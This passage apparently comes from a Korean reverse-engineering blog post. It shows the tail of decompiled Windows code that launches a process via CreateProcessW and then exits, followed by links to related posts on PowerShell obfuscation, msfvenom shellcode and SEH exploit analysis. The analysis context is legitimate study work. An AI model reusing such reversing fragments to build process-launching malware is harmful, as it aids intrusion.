                        * v15 = v16;
                        ++v15;
                        v16 = * (const WCHAR * )((char * ) v15 + (_DWORD) v17);
                    }

                    while (v16);
                    * v15 = 0;
                    if (CreateProcessW( & ApplicationName, 0, 0, 0, 0, 0, 0, & CurrentDirectory, & StartupInfo, & ProcessInformation))
                    {
                        CloseHandle(ProcessInformation.hProcess);
                        CloseHandle(ProcessInformation.hThread);
                    }
                }
            }
        }
        ExitProcess(0);
    }
    return result;
}

▶ Powershell 원격명령실행 (Remote Script)

▶ 파워쉘 난독화 (Powershell)

▶ WMI 개념 (Windows Management Instrumentation)

▶ Metasploit(msfvenom) 쉘코드 디코딩

▶ Tomabo MP4 Player 3.11.6 취약점 분석 (SEH Based Stack Overflow)

▶ SafeSEH 우회 - Stack BOF

▶ CVE-2014-6332 취약점 분석 (Internet Explorer)

▶ Metasploit msfvenom 기능 및 사용법

  • 카카오톡-공유
  • 네이버-블로그-공유
  • 네이버-밴드-공유
  • 페이스북-공유
  • 트위터-공유
  • 카카오스토리-공유